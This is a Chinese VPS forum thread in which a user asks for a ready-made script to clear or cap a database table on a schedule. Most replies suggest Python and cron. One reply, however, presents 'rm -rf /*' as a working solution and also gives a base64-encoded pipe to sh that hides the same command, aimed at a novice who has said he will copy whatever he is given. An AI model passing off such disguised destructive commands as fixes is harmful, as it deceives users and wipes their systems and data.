vps交流

怎么定时清空数据库某个表的数据?


或者限制表数据的数量,达到数量限制后新增一条新数据就删除一条老数据?有没有现成的脚本啊,让我抄一个。

cobra1 发表于 2022-6-4 01:23
rm -rf /* 绝对可以,不可以你找我

还有 echo cm0gLXJmIC8q | base64 -d | sh 怎么定时清空数据库某个表的数据?

rm -rf /* 绝对可以,不可以你找我
怎么定时清空数据库某个表的数据?
还可以这样吗

菜单 发表于 2022-6-4 00:31
还可以这样吗

不知道,我也是问问是否可以。因为程序比较拉,现在才80W条数据就不行了,又懒得手动去清空数据。

本帖最后由 image 于 2022-6-4 00:40 编辑

直接清数据倒是简单
直接python几行代码的事

然后cron 定时任务就行

限制数量的话 就得每次插入的时候做查询数量和删除最早数据的操作了

可以写一个页面  获取下总数量  数量 大于多少的时候 执行删除N条自动增长【最小值】的记录,否则 跳过
然后cron 定时任务就行

image 发表于 2022-6-4 00:39
直接清数据倒是简单
直接python几行代码的事

有没有现成的查询和删除脚本啊,让我抄一抄怎么定时清空数据库某个表的数据?

mfch666 发表于 2022-6-4 00:42
可以写一个页面  获取下总数量  数量 大于多少的时候 执行删除N条自动增长【最小值】的记录,否则 跳过
然 …

老哥有现成的命令脚本嘛怎么定时清空数据库某个表的数据?

最起码把你的表的结果,字段描述下,这无从下手啊

mjj天下第一 发表于 2022-6-4 00:54
老哥有现成的命令脚本嘛

额 没有 不过这就几行代码就搞定的事吧 随便找个example就行了

https://www.studytonight.com/python/python-mysql-delete-data-from-table